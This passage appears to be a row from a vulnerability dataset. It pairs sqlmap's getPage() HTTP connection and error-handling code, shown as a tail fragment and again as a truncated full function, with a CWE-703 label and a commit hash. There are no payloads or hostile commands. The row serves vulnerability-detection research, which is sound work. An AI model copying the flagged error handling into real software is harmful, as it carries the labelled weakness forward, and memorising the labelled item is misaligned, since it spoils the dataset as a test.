                    refresh = extractRegexResult(META_REFRESH_REGEX, page)

                    debugMsg = ""got HTML meta refresh header""
                    logger.debug(debugMsg)

                if refresh:
                    if kb.alwaysRefresh is None:
                        msg = ""sqlmap got a refresh request ""
                        msg += ""(redirect like response common to login pages). ""
                        msg += ""Do you want to apply the refresh ""
                        msg += ""from now on (or stay on the original page)? [Y/n]""

                        kb.alwaysRefresh = readInput(msg, default='Y', boolean=True)

                    if kb.alwaysRefresh:
                        if re.search(r""\Ahttps?://"", refresh, re.I):
                            url = refresh
                        else:
                            url = _urllib.parse.urljoin(url, refresh)

                        threadData.lastRedirectMsg = (threadData.lastRequestUID, page)
                        kwargs[""refreshing""] = True
                        kwargs[""url""] = url
                        kwargs[""get""] = None
                        kwargs[""post""] = None

                        try:
                            return Connect._getPageProxy(**kwargs)
                        except SqlmapSyntaxException:
                            pass

            # Explicit closing of connection object
            if conn and not conf.keepAlive:
                try:
                    if hasattr(conn.fp, '_sock'):
                        conn.fp._sock.close()
                    conn.close()
                except Exception as ex:
                    warnMsg = ""problem occurred during connection closing ('%s')"" % getSafeExString(ex)
                    logger.warn(warnMsg)

        except SqlmapConnectionException as ex:
            if conf.proxyList and not kb.threadException:
                warnMsg = ""unable to connect to the target URL ('%s')"" % ex
                logger.critical(warnMsg)
                threadData.retriesCount = conf.retries
                return Connect._retryProxy(**kwargs)
            else:
                raise

        except _urllib.error.HTTPError as ex:
            page = None
            responseHeaders = None

            if checking:
                return None, None, None

            try:
                page = ex.read() if not skipRead else None
                responseHeaders = ex.info()
                responseHeaders[URI_HTTP_HEADER] = ex.geturl()
                patchHeaders(responseHeaders)
                page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE))
            except socket.timeout:
                warnMsg = ""connection timed out while trying ""
                warnMsg += ""to get error page information (%d)"" % ex.code
                logger.warn(warnMsg)
                return None, None, None
            except KeyboardInterrupt:
                raise
            except:
                pass
            finally:
                page = getUnicode(page)

            code = ex.code
            status = getUnicode(getattr(ex, ""reason"", None) or getSafeExString(ex).split("": "", 1)[-1])

            kb.originalCode = kb.originalCode or code
            threadData.lastHTTPError = (threadData.lastRequestUID, code, status)
            kb.httpErrorCodes[code] = kb.httpErrorCodes.get(code, 0) + 1

            responseMsg += ""[#%d] (%s %s):\r\n"" % (threadData.lastRequestUID, code, status)

            if responseHeaders:
                logHeaders = getUnicode("""".join(responseHeaders.headers).strip())

            logHTTPTraffic(requestMsg, ""%s%s\r\n\r\n%s"" % (responseMsg, logHeaders, (page or """")[:MAX_CONNECTION_CHUNK_SIZE]), start, time.time())

            skipLogTraffic = True

            if conf.verbose <= 5:
                responseMsg += getUnicode(logHeaders)
            elif conf.verbose > 5:
                responseMsg += ""%s\r\n\r\n%s"" % (logHeaders, (page or """")[:MAX_CONNECTION_CHUNK_SIZE])

            if not multipart:
                logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)

            if ex.code != conf.ignoreCode:
                if ex.code == _http_client.UNAUTHORIZED:
                    errMsg = ""not authorized, try to provide right HTTP ""
                    errMsg += ""authentication type and valid credentials (%d)"" % code
                    raise SqlmapConnectionException(errMsg)
                elif chunked and ex.code in (_http_client.METHOD_NOT_ALLOWED, _http_client.LENGTH_REQUIRED):
                    warnMsg = ""turning off HTTP chunked transfer encoding ""
                    warnMsg += ""as it seems that the target site doesn't support it (%d)"" % code
                    singleTimeWarnMessage(warnMsg)
                    conf.chunked = kwargs[""chunked""] = False
                    return Connect.getPage(**kwargs)
                elif ex.code == _http_client.NOT_FOUND:
                    if raise404:
                        errMsg = ""page not found (%d)"" % code
                        raise SqlmapConnectionException(errMsg)
                    else:
                        debugMsg = ""page not found (%d)"" % code
                        singleTimeLogMessage(debugMsg, logging.DEBUG)
                elif ex.code == _http_client.GATEWAY_TIMEOUT:
                    if ignoreTimeout:
                        return None if not conf.ignoreTimeouts else """", None, None
                    else:
                        warnMsg = ""unable to connect to the target URL (%d - %s)"" % (ex.code, _http_client.responses[ex.code])
                        if threadData.retriesCount < conf.retries and not kb.threadException:
                            warnMsg += "". sqlmap is going to retry the request""
                            logger.critical(warnMsg)
                            return Connect._retryProxy(**kwargs)
                        elif kb.testMode:
                            logger.critical(warnMsg)
                            return None, None, None
                        else:
                            raise SqlmapConnectionException(warnMsg)
                else:
                    debugMsg = ""got HTTP error code: %d (%s)"" % (code, status)
                    logger.debug(debugMsg)

        except (_urllib.error.URLError, socket.error, socket.timeout, _http_client.HTTPException, struct.error, binascii.Error, ProxyError, SqlmapCompressionException, WebSocketException, TypeError, ValueError, OverflowError):
            tbMsg = traceback.format_exc()

            if checking:
                return None, None, None
            elif ""no host given"" in tbMsg:
                warnMsg = ""invalid URL address used (%s)"" % repr(url)
                raise SqlmapSyntaxException(warnMsg)
            elif ""forcibly closed"" in tbMsg or ""Connection is already closed"" in tbMsg:
                warnMsg = ""connection was forcibly closed by the target URL""
            elif ""timed out"" in tbMsg:
                if kb.testMode and kb.testType not in (None, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED):
                    singleTimeWarnMessage(""there is a possibility that the target (or WAF/IPS) is dropping 'suspicious' requests"")
                    kb.droppingRequests = True
                warnMsg = ""connection timed out to the target URL""
            elif ""Connection reset"" in tbMsg:
                if not conf.disablePrecon:
                    singleTimeWarnMessage(""turning off pre-connect mechanism because of connection reset(s)"")
                    conf.disablePrecon = True

                if kb.testMode:
                    singleTimeWarnMessage(""there is a possibility that the target (or WAF/IPS) is resetting 'suspicious' requests"")
                    kb.droppingRequests = True
                warnMsg = ""connection reset to the target URL""
            elif ""URLError"" in tbMsg or ""error"" in tbMsg:
                warnMsg = ""unable to connect to the target URL""
                match = re.search(r""Errno \d+\] ([^>]+)"", tbMsg)
                if match:
                    warnMsg += "" ('%s')"" % match.group(1).strip()
            elif ""NTLM"" in tbMsg:
                warnMsg = ""there has been a problem with NTLM authentication""
            elif ""Invalid header name"" in tbMsg:  # (e.g. PostgreSQL ::Text payload)
                return None, None, None
            elif ""BadStatusLine"" in tbMsg:
                warnMsg = ""connection dropped or unknown HTTP ""
                warnMsg += ""status code received""
                if not conf.agent and not conf.randomAgent:
                    warnMsg += "". Try to force the HTTP User-Agent ""
                    warnMsg += ""header with option '--user-agent' or switch '--random-agent'""
            elif ""IncompleteRead"" in tbMsg:
                warnMsg = ""there was an incomplete read error while retrieving data ""
                warnMsg += ""from the target URL""
            elif ""Handshake status"" in tbMsg:
                status = re.search(r""Handshake status ([\d]{3})"", tbMsg)
                errMsg = ""websocket handshake status %s"" % status.group(1) if status else ""unknown""
                raise SqlmapConnectionException(errMsg)
            elif ""SqlmapCompressionException"" in tbMsg:
                warnMsg = ""problems with response (de)compression""
                retrying = True
            else:
                warnMsg = ""unable to connect to the target URL""

            if ""BadStatusLine"" not in tbMsg and any((conf.proxy, conf.tor)):
                warnMsg += "" or proxy""

            if silent:
                return None, None, None

            with kb.locks.connError:
                kb.connErrorCounter += 1

                if kb.connErrorCounter >= MAX_CONSECUTIVE_CONNECTION_ERRORS and kb.connErrorChoice is None:
                    message = ""there seems to be a continuous problem with connection to the target. ""
                    message += ""Are you sure that you want to continue ""
                    message += ""with further target testing? [y/N] ""

                    kb.connErrorChoice = readInput(message, default='N', boolean=True)

                if kb.connErrorChoice is not None:
                    if kb.connErrorChoice:
                        raise SqlmapConnectionException(warnMsg)
                    else:
                        raise SqlmapUserQuitException

            if ""forcibly closed"" in tbMsg:
                logger.critical(warnMsg)
                return None, None, None
            elif ignoreTimeout and any(_ in tbMsg for _ in (""timed out"", ""IncompleteRead"")):
                return None if not conf.ignoreTimeouts else """", None, None
            elif threadData.retriesCount < conf.retries and not kb.threadException:
                warnMsg += "". sqlmap is going to retry the request""
                if not retrying:
                    warnMsg += ""(s)""
                    logger.critical(warnMsg)
                else:
                    logger.debug(warnMsg)
                return Connect._retryProxy(**kwargs)
            elif kb.testMode or isMultiThreadMode():
                logger.critical(warnMsg)
                return None, None, None
            else:
                raise SqlmapConnectionException(warnMsg)

        finally:
            if isinstance(page, six.binary_type):
                if HTTP_HEADER.CONTENT_TYPE in (responseHeaders or {}) and not re.search(TEXT_CONTENT_TYPE_REGEX, responseHeaders[HTTP_HEADER.CONTENT_TYPE]):
                    page = six.text_type(page, errors=""ignore"")
                else:
                    page = getUnicode(page)

            for function in kb.preprocessFunctions:
                try:
                    page, responseHeaders, code = function(page, responseHeaders, code)
                except Exception as ex:
                    errMsg = ""error occurred while running preprocess ""
                    errMsg += ""function '%s' ('%s')"" % (function.__name__, getSafeExString(ex))
                    raise SqlmapGenericException(errMsg)

            threadData.lastPage = page
            threadData.lastCode = code

            socket.setdefaulttimeout(conf.timeout)

        processResponse(page, responseHeaders, status)

        if not skipLogTraffic:
            if conn and getattr(conn, ""redurl"", None):
                _ = _urllib.parse.urlsplit(conn.redurl)
                _ = (""%s%s"" % (_.path or ""/"", (""?%s"" % _.query) if _.query else """"))
                requestMsg = re.sub(r""(\n[A-Z]+ ).+?( HTTP/\d)"", r""\g<1>%s\g<2>"" % getUnicode(_).replace(""\\"", ""\\\\""), requestMsg, 1)

                if kb.resendPostOnRedirect is False:
                    requestMsg = re.sub(r""(\[#\d+\]:\n)POST "", r""\g<1>GET "", requestMsg)
                    requestMsg = re.sub(r""(?i)Content-length: \d+\n"", """", requestMsg)
                    requestMsg = re.sub(r""(?s)\n\n.+"", ""\n"", requestMsg)

                responseMsg += ""[#%d] (%s %s):\r\n"" % (threadData.lastRequestUID, conn.code, status)
            elif ""\n"" not in responseMsg:
                responseMsg += ""[#%d] (%s %s):\r\n"" % (threadData.lastRequestUID, code, status)

            if responseHeaders:
                logHeaders = getUnicode("""".join(responseHeaders.headers).strip())

            logHTTPTraffic(requestMsg, ""%s%s\r\n\r\n%s"" % (responseMsg, logHeaders, (page or """")[:MAX_CONNECTION_CHUNK_SIZE]), start, time.time())

            if conf.verbose <= 5:
                responseMsg += getUnicode(logHeaders)
            elif conf.verbose > 5:
                responseMsg += ""%s\r\n\r\n%s"" % (logHeaders, (page or """")[:MAX_CONNECTION_CHUNK_SIZE])

            if not multipart:
                logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)

        return page, responseHeaders, code",CWE-703,sqlmapproject/sqlmap,bc88903699be0e5390be5e4cea12fc3b9997b483,"def getPage(**kwargs):
        """"""
        This method connects to the target URL or proxy and returns
        the target URL page content
        """"""

        start = time.time()

        if isinstance(conf.delay, (int, float)) and conf.delay > 0:
            time.sleep(conf.delay)

        if conf.offline:
            return None, None, None
        elif conf.dummy or conf.murphyRate and randomInt() % conf.murphyRate == 0:
            if conf.murphyRate:
                time.sleep(randomInt() % (MAX_MURPHY_SLEEP_TIME + 1))
            return getUnicode(randomStr(int(randomInt()), alphabet=[chr(_) for _ in xrange(256)]), {}, int(randomInt())), None, None if not conf.murphyRate else randomInt(3)

        threadData = getCurrentThreadData()
        with kb.locks.request:
            kb.requestCounter += 1
            threadData.lastRequestUID = kb.requestCounter

        url = kwargs.get(""url"", None) or conf.url
        get = kwargs.get(""get"", None)
        post = kwargs.get(""post"", None)
        method = kwargs.get(""method"", None)
        cookie = kwargs.get(""cookie"", None)
        ua = kwargs.get(""ua"", None) or conf.agent
        referer = kwargs.get(""referer"", None) or conf.referer
        host = kwargs.get(""host"", None) or conf.host
        direct_ = kwargs.get(""direct"", False)
        multipart = kwargs.get(""multipart"", None)
        silent = kwargs.get(""silent"", False)
        raise404 = kwargs.get(""raise404"", True)
        timeout = kwargs.get(""timeout"", None) or conf.timeout
        auxHeaders = kwargs.get(""auxHeaders"", None)
        response = kwargs.get(""response"", False)
        ignoreTimeout = kwargs.get(""ignoreTimeout"", False) or kb.ignoreTimeout or conf.ignoreTimeouts
        refreshing = kwargs.get(""refreshing"", False)
        retrying = kwargs.get(""retrying"", False)
        crawling = kwargs.get(""crawling"", False)
        checking = kwargs.get(""checking"", False)
        skipRead = kwargs.get(""skipRead"", False)
        finalCode = kwargs.get(""finalCode"", False)
        chunked = kwargs.get(""chunked"", False) or conf.chunked

        if multipart:
            post = multipart

        if not post:
            chunked = False

        elif chunked:
            post = _urllib.parse.unquote(post)
            post = chunkSplitPostData(post)

        websocket_ = url.lower().startswith(""ws"")

        if not _urllib.parse.urlsplit(url).netloc:
            url = _urllib.parse.urljoin(conf.url, url)

        # flag to know if we are dealing with the same target host
        target = checkSameHost(url, conf.url)

        if not retrying:
            # Reset the number of connection retries
            threadData.retriesCount = 0

        # fix for known issue when urllib2 just skips the other part of provided
        # url splitted with space char while urlencoding it in the later phase
        url = url.replace("" "", ""%20"")

        if ""://"" not in url:
            url = ""http://%s"" % url

        conn = None
        page = None
        code = None
        status = None

        _ = _urllib.parse.urlsplit(url)
        requestMsg = u""HTTP request [#%d]:\r\n%s "" % (threadData.lastRequestUID, method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET))
        requestMsg += getUnicode((""%s%s"" % (_.path or ""/"", (""?%s"" % _.query) if _.query else """")) if not any((refreshing, crawling, checking)) else url)
        responseMsg = u""HTTP response ""
        requestHeaders = u""""
        responseHeaders = None
        logHeaders = u""""
        skipLogTraffic = False

        raise404 = raise404 and not kb.ignoreNotFound

        # support for non-latin (e.g. cyrillic) URLs as urllib/urllib2 doesn't
        # support those by default
        url = asciifyUrl(url)

        try:
            socket.setdefaulttimeout(timeout)

            if direct_:
                if '?' in url:
                    url, params = url.split('?', 1)
                    params = urlencode(params)
                    url = ""%s?%s"" % (url, params)

            elif any((refreshing, crawling, checking)):
                pass

            elif target:
                if conf.forceSSL and _urllib.parse.urlparse(url).scheme != ""https"":
                    url = re.sub(r""(?i)\Ahttp:"", ""https:"", url)
                    url = re.sub(r""(?i):80/"", "":443/"", url)

                if PLACE.GET in conf.parameters and not get:
                    get = conf.parameters[PLACE.GET]

                    if not conf.skipUrlEncode:
                        get = urlencode(get, limit=True)

                if get:
                    if '?' in url:
                        url = ""%s%s%s"" % (url, DEFAULT_GET_POST_DELIMITER, get)
                        requestMsg += ""%s%s"" % (DEFAULT_GET_POST_DELIMITER, get)
                    else:
                        url = ""%s?%s"" % (url, get)
                        requestMsg += ""?%s"" % get

                if PLACE.POST in conf.parameters and not post and method != HTTPMETHOD.GET:
                    post = conf.parameters[PLACE.POST]

            elif get:
                url = ""%s?%s"" % (url, get)
                requestMsg += ""?%s"" % get

            requestMsg += "" %s"" % _http_client.HTTPConnection._http_vsn_str

            # Prepare HTTP headers
            headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie, HTTP_HEADER.USER_AGENT: ua, HTTP_HEADER.REFERER: referer, HTTP_HEADER.HOST: host}, base=None if target else {})

            if HTTP_HEADER.COOKIE in headers:
                cookie = headers[HTTP_HEADER.COOKIE]

            if kb.authHeader:
                headers[HTTP_HEADER.AUTHORIZATION] = kb.authHeader

            if kb.proxyAuthHeader:
                headers[HTTP_HEADER.PROXY_AUTHORIZATION] = kb.proxyAuthHeader

            if not conf.requestFile or not target:
                if not getHeader(headers, HTTP_HEADER.HOST):
                    headers[HTTP_HEADER.HOST] = getHostHeader(url)

                if not getHeader(headers, HTTP_HEADER.ACCEPT):
                    headers[HTTP_HEADER.ACCEPT] = HTTP_ACCEPT_HEADER_VALUE

                if not getHeader(headers, HTTP_HEADER.ACCEPT_ENCODING):
                    headers[HTTP_HEADER.ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE if kb.pageCompress else ""identity""

            elif conf.requestFile and getHeader(headers, HTTP_HEADER.USER_AGENT) == DEFAULT_USER_AGENT:
                for header in headers:
                    if header.upper() == HTTP_HEADER.USER_AGENT.upper():
                        del headers[header]
                        break

            if post is not None and not multipart and not getHeader(headers, HTTP_HEADER.CONTENT_TYPE):
                headers[HTTP_HEADER.CONTENT_TYPE] = POST_HINT_CONTENT_TYPES.get(kb.postHint, DEFAULT_CONTENT_TYPE)

            if headers.get(HTTP_HEADER.CONTENT_TYPE) == POST_HINT_CONTENT_TYPES[POST_HINT.MULTIPART]:
                warnMsg = ""missing 'boundary parameter' in '%s' header. "" % HTTP_HEADER.CONTENT_TYPE
                warnMsg += ""Will try to reconstruct""
                singleTimeWarnMessage(warnMsg)

                boundary = findMultipartPostBoundary(conf.data)
                if boundary:
                    headers[HTTP_HEADER.CONTENT_TYPE] = ""%s; boundary=%s"" % (headers[HTTP_HEADER.CONTENT_TYPE], boundary)

            if conf.keepAlive:
                headers[HTTP_HEADER.CONNECTION] = ""keep-alive""

            if chunked:
                headers[HTTP_HEADER.TRANSFER_ENCODING] = ""chunked""

            if auxHeaders:
                headers = forgeHeaders(auxHeaders, headers)

            for key, value in list(headers.items()):
                del headers[key]
                if isinstance(value, six.string_types):
                    for char in (r""\r"", r""\n""):
                        value = re.sub(r""(%s)([^ \t])"" % char, r""\g<1>\t\g<2>"", value)
                    headers[getBytes(key) if six.PY2 else key] = getBytes(value.strip(""\r\n""))  # Note: Python3 has_header() expects non-bytes value

            if six.PY2:
                url = getBytes(url)  # Note: Python3 requires text while Python2 has problems when mixing text with binary POST

            post = getBytes(post)

            if websocket_:
                ws = websocket.WebSocket()
                ws.settimeout(timeout)
                ws.connect(url, header=(""%s: %s"" % _ for _ in headers.items() if _[0] not in (""Host"",)), cookie=cookie)  # WebSocket will add Host field of headers automatically
                ws.send(urldecode(post or """"))
                page = ws.recv()
                ws.close()
                code = ws.status
                status = _http_client.responses[code]

                class _(dict):
                    pass

                responseHeaders = _(ws.getheaders())
                responseHeaders.headers = [""%s: %s\r\n"" % (_[0].capitalize(), _[1]) for _ in responseHeaders.items()]

                requestHeaders += ""\r\n"".join([""%s: %s"" % (getUnicode(key.capitalize() if hasattr(key, ""capitalize"") else key), getUnicode(value)) for (key, value) in responseHeaders.items()])
                requestMsg += ""\r\n%s"" % requestHeaders

                if post is not None:
                    requestMsg += ""\r\n\r\n%s"" % getUnicode(post)

                requestMsg += ""\r\n""

                threadData.lastRequestMsg = requestMsg

                logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)
            else:
                if method and method not in (HTTPMETHOD.GET, HTTPMETHOD.POST):
                    method = getBytes(method)
                    req = MethodRequest(url, post, headers)
                    req.set_method(method)
                elif url is not None:
                    req = _urllib.request.Request(url, post, headers)
                else:
                    return None, None, None

                requestHeaders += ""\r\n"".join([""%s: %s"" % (getUnicode(key.capitalize() if hasattr(key, ""capitalize"") else key), getUnicode(value)) for (key, value) in req.header_items()])

                if not getRequestHeader(req, HTTP_HEADER.COOKIE) and conf.cj:
                    conf.cj._policy._now = conf.cj._now = int(time.time())
                    cookies = conf.cj._cookies_for_request(req)
                    requestHeaders += ""\r\n%s"" % (""Cookie: %s"" % "";"".join(""%s=%s"" % (getUnicode(cookie.name), getUnicode(cookie.value)) for cookie in cookies))

                if post is not None:
                    if not getRequestHeader(req, HTTP_HEADER.CONTENT_LENGTH) and not chunked:
                        requestHeaders += ""\r\n%s: %d"" % (string.capwords(HTTP_HEADER.CONTENT_LENGTH), len(post))

                if not getRequestHeader(req, HTTP_HEADER.CONNECTION):
                    requestHeaders += ""\r\n%s: %s"" % (HTTP_HEADER.CONNECTION, ""close"" if not conf.keepAlive else ""keep-alive"")

                requestMsg += ""\r\n%s"" % requestHeaders

                if post is not None:
                    requestMsg += ""\r\n\r\n%s"" % getUnicode(post)

                if not chunked:
                    requestMsg += ""\r\n""

                if not multipart:
                    threadData.lastRequestMsg = requestMsg

                    logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)

                if conf.cj:
                    for cookie in conf.cj:
                        if cookie.value is None:
                            cookie.value = """"
                        else:
                            for char in (r""\r"", r""\n""):
                                cookie.value = re.sub(r""(%s)([^ \t])"" % char, r""\g<1>\t\g<2>"", cookie.value)

                conn = _urllib.request.urlopen(req)

                if not kb.authHeader and getRequestHeader(req, HTTP_HEADER.AUTHORIZATION) and (conf.authType or """").lower() == AUTH_TYPE.BASIC.lower():
                    kb.authHeader = getRequestHeader(req, HTTP_HEADER.AUTHORIZATION)

                if not kb.proxyAuthHeader and getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION):
                    kb.proxyAuthHeader = getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION)

                # Return response object
                if response:
                    return conn, None, None

                # Get HTTP response
                if hasattr(conn, ""redurl""):
                    page = (threadData.lastRedirectMsg[1] if kb.redirectChoice == REDIRECTION.NO else Connect._connReadProxy(conn)) if not skipRead else None
                    skipLogTraffic = kb.redirectChoice == REDIRECTION.NO
                    code = conn.redcode if not finalCode else code
                else:
                    page = Connect._connReadProxy(conn) if not skipRead else None

                if conn:
                    code = (code or conn.code) if conn.code == kb.originalCode else conn.code  # do not override redirection code (for comparison purposes)
                    responseHeaders = conn.info()
                    responseHeaders[URI_HTTP_HEADER] = conn.geturl()
                    patchHeaders(responseHeaders)
                    kb.serverHeader = responseHeaders.get(HTTP_HEADER.SERVER, kb.serverHeader)
                else:
                    code = None
                    responseHeaders = {}

                page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE))
                status = getUnicode(conn.msg) if conn and getattr(conn, ""msg"", None) else None

            kb.connErrorCounter = 0

            if not refreshing:
                refresh = responseHeaders.get(HTTP_HEADER.REFRESH, """").split(""url="")[-1].strip()

                if extractRegexResult(META_REFRESH_REGEX, page):
                    refresh = extractRegexResult(META_REFRESH_REGEX, page)

                    debugMsg = ""got HTML meta refresh header""
                    logger.debug(debugMsg)

                if refresh:
                    if kb.alwaysRefresh is None:
                        msg = ""sqlmap got a refresh request ""
                        msg += ""(redirect like response common to login pages). ""
                        msg += ""Do you want to apply the refresh ""
                        msg += ""from now on (or stay on the original page)? [Y/n]""

                        kb.alwaysRefresh = readInput(msg, default='Y', boolean=True)

                    if kb.alwaysRefresh:
                        if re.search(r""\Ahttps?://"", refresh, re.I):
                            url = refresh
                        else:
                            url = _urllib.parse.urljoin(url, refresh)

                        threadData.lastRedirectMsg = (threadData.lastRequestUID, page)
                        kwargs[""refreshing""] = True
                        kwargs[""url""] = url
                        kwargs[""get""] = None
                        kwargs[""post""] = None

                        try:
                            return Connect._getPageProxy(**kwargs)
                        except SqlmapSyntaxException:
                            pass

            # Explicit closing of connection object
            if conn and not conf.keepAlive:
                try:
                    if hasattr(conn.fp, '_sock'):
                        conn.fp._sock.close()
                    conn.close()
                except Exception as ex:
                    warnMsg = ""problem occurred during connection closing ('%s')"" % getSafeExString(ex)
                    logger.warn(warnMsg)

        except SqlmapConnectionException as ex:
            if conf.proxyList and not kb.threadException:
                warnMsg = ""unable to connect to the target URL ('%s')"" % ex
                logger.critical(warnMsg)
                threadData.retriesCount = conf.retries
                return Connect._retryProxy(**kwargs)
            else:
                raise

        except _urllib.error.HTTPError as ex:
            page = None
            responseHeaders = None

            if checking:
                return None, None, None

            try:
                page = ex.read() if not skipRead else None
                responseHeaders = ex.info()
                responseHeaders[URI_HTTP_HEADER] = ex.geturl()
                patchHeaders(responseHeaders)
                page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE))
            except socket.timeout:
                warnMsg = ""connection timed out while trying ""
                warnMsg += ""to get error page information (%d)"" % ex.code
                logger.warn(warnMsg)
                return None, None, None
            except KeyboardInterrupt:
                raise
            except:
                pass
            finally:
                page = getUnicode(page)

            code = ex.code
            status = getUnicode(getattr(ex, ""reason"", None) or getSafeExString(ex).split("": "", 1)[-1])

            kb.originalCode = kb.originalCode or code
            threadData.lastHTTPError = (threadData.lastRequestUID, code, status)
            kb.httpErrorCodes[code] = kb.httpErrorCodes.get(code, 0) + 1

            responseMsg += ""[#%d] (%s %s):\r\n"" % (threadData.lastRequestUID, code, status)

            if responseHeaders:
                logHeaders = getUnicode("""".join(responseHeaders.headers).strip())

            logHTTPTraffic(requestMsg, ""%s%s\r\n\r\n%s"" % (responseMsg, logHeaders, (page or """")[:MAX_CONNECTION_CHUNK_SIZE]), start, time.time())

            skipLogTraffic = True

            if conf.verbose <= 5:
                responseMsg += getUnicode(logHeaders)
            elif conf.verbose > 5:
                responseMsg += ""%s\r\n\r\n%s"" % (logHeaders, (page or """")[:MAX_CONNECTION_CHUNK_SIZE])

            if not multipart:
                logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)

            if ex.code != conf.ignoreCode:
                if ex.code == _http_client.UNAUTHORIZED:
                    errMsg = ""not authorized, try to provide right HTTP ""
                    errMsg += ""authentication type and valid credentials (%d)"" % code
                    raise SqlmapConnectionException(errMsg)
                elif chunked and ex.code in (_http_client.METHOD_NOT_ALLOWED, _http_client.LENGTH_REQUIRED):
                    warnMsg = ""turning off HTTP chunked transfer encoding ""
                    warnMsg += ""as it seems that the target site doesn't support it (%d)"" % code
                    singleTimeWarnMessage(warnMsg)
                    conf.chunked = kwargs[""chunked""] = False
                    return Connect.getPage(**kwargs)
                elif ex.code == _http_client.NOT_FOUND:
                    if raise404:
                        errMsg = ""page not found (%d)"" % code
                        raise SqlmapConnectionException(errMsg)
                    else:
                        debugMsg = ""page not found (%d)"" % code
                        singleTimeLogMessage(debugMsg, logging.DEBUG)
                elif ex.code == _http_client.GATEWAY_TIMEOUT:
                    if ignoreTimeout:
                        return None if not conf.ignoreTimeouts else """", None, None
                    else:
                        warnMsg = ""unable to connect to the target URL (%d - %s)"" % (ex.code, _http_client.responses[ex.code])
                        if threadData.retriesCount < conf.retries and not kb.threadException:
                            warnMsg += "". sqlmap is going to retry the request""
                            logger.critical(warnMsg)
                            return Connect._retryProxy(**kwargs)
                        elif kb.testMode:
                            logger.critical(warnMsg)
                            return None, None, None
                        else:
                            raise SqlmapConnectionException(warnMsg)
                else:
                    debugMsg = ""got HTTP error code: %d (%s)"" % (code, status)
                    logger.debug(debugMsg)

        except (_urllib.error.URLError, socket.error, socket.timeout, _http_client.HTTPException, struct.error, binascii.Error, ProxyError, SqlmapCompressionException, WebSocketException, TypeError, ValueError, OverflowError):
            tbMsg = traceback.format_exc()

            if checking:
                return None, None, None
            elif ""no host given"" in tbMsg:
                warnMsg = ""invalid URL address used (%s)"" % repr(url)
                raise SqlmapSyntaxException(warnMsg)
            elif ""forcibly closed"" in tbMsg or ""Connection is already closed"" in tbMsg:
                warnMsg = ""connection was forcibly closed by the target URL""
            elif ""timed out"" in tbMsg:
                if kb.testMode and kb.testType not in (None, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED):
                    singleTimeWarnMessage(""there is a possibility that the target (or WAF/IPS) is dropping 'suspicious' requests"")
                    kb.droppingRequests = True
                warnMsg = ""connection timed out to the target URL""
            elif ""Connection reset"" in tbMsg:
                if not conf.disablePrecon:
                    singleTimeWarnMessage(""turning off pre-connect mechanism because of connection reset(s)"")
                    conf.disablePrecon = True

                if kb.testMode:
                    singleTimeWarnMessage(""there is a possibility that the target (or WAF/IPS) is resetting 'suspicious' requests"")
                    kb.droppingRequests = True
                warnMsg = ""connection reset to the target URL""
            elif ""URLError"" in tbMsg or ""error"" in tbMsg:
                warnMsg = ""unable to connect to the target URL""
                match = re.search(r""Errno \d+\] ([^>]+)"", tbMsg)
                if match:
                    warnMsg += "" ('%s')"" % match.group(1).strip()
            elif ""NTLM"" in tbMsg:
                warnMsg = ""there has been a problem with NTLM authentication""
            elif ""Invalid header name"" in tbMsg:  # (e.g. PostgreSQL ::Text payload)
                return None, None, None
            elif ""BadStatusLine"" in tbMsg:
                warnMsg = ""connection dropped or unknown HTTP ""
                warnMsg += ""status code received""
                if not conf.agent and not conf.randomAgent:
                    warnMsg += "". Try to force the HTTP User-Agent ""
                    warnMsg += ""header with option '--user-agent' or switch '--random-agent'""
            elif ""IncompleteRead"" in tbMsg:
                warnMsg = ""there was an incomplete read error while retrieving data ""
                warnMsg += ""from the target URL""
            elif ""Handshake status"" in tbMsg:
                status = re.search(r""Handshake status ([\d]{3})"", tbMsg)
                errMsg = ""websocket handshake status %s"" % status.group(1) if status else ""unknown""
                raise SqlmapConnectionException(errMsg)
            elif ""SqlmapCompressionException"" in tbMsg:
                warnMsg = ""problems with response (de)compression""
                retrying = True
            else:
                warnMsg = ""unable to connect to the target URL""

            if ""BadStatusLine"" not in tbMsg and any((conf.proxy, conf.tor)):
                warnMsg += "" or proxy""

            if silent:
                return None, None, None

            with kb.locks.connError:
                kb.connErrorCounter += 1

                if kb.connErrorCounter >= MAX_CONSECUTIVE_CONNECTION_ERRORS and kb.connErrorChoice is None:
                    message = ""there seems to be a continuous problem with connection to the target. ""
                    message += ""Are you sure that you want to continue ""
                    message += ""with further target testing? [y/N] ""

                    kb.connErrorChoice = readInput(message, default='N', boolean=True)

                if kb.connErrorChoice is not None:
                    if kb.connErrorChoice:
                        raise SqlmapConnectionException(warnMsg)
                    else:
                        raise SqlmapUserQuitException

            if ""forcibly closed"" in tbMsg:
                logger.critical(warnMsg)
                return None, None, None
            elif ignoreTimeout and any(_ in tbMsg for _ in (""timed out"", ""IncompleteRead"")):
                return None if not conf.ignoreTimeouts else """", None, None
            elif threadData.retriesCount < conf.retries and not kb.threadException:
                warnMsg += "". sqlmap is going to retry the request""
                if not retrying:
                    warnMsg += ""(s)""
                    logger.critical(warnMsg)
                else:
                    logger.debug(warnMsg)
                return Connect._retryProxy(**kwargs)
            elif kb.testMode or isMultiThreadMode():
                logger.critical(warnMsg)
                return None, None, None
            else:
                raise SqlmapConnectionException(warnMsg)

        finally:
            if isinstance(page, six.binary_type):
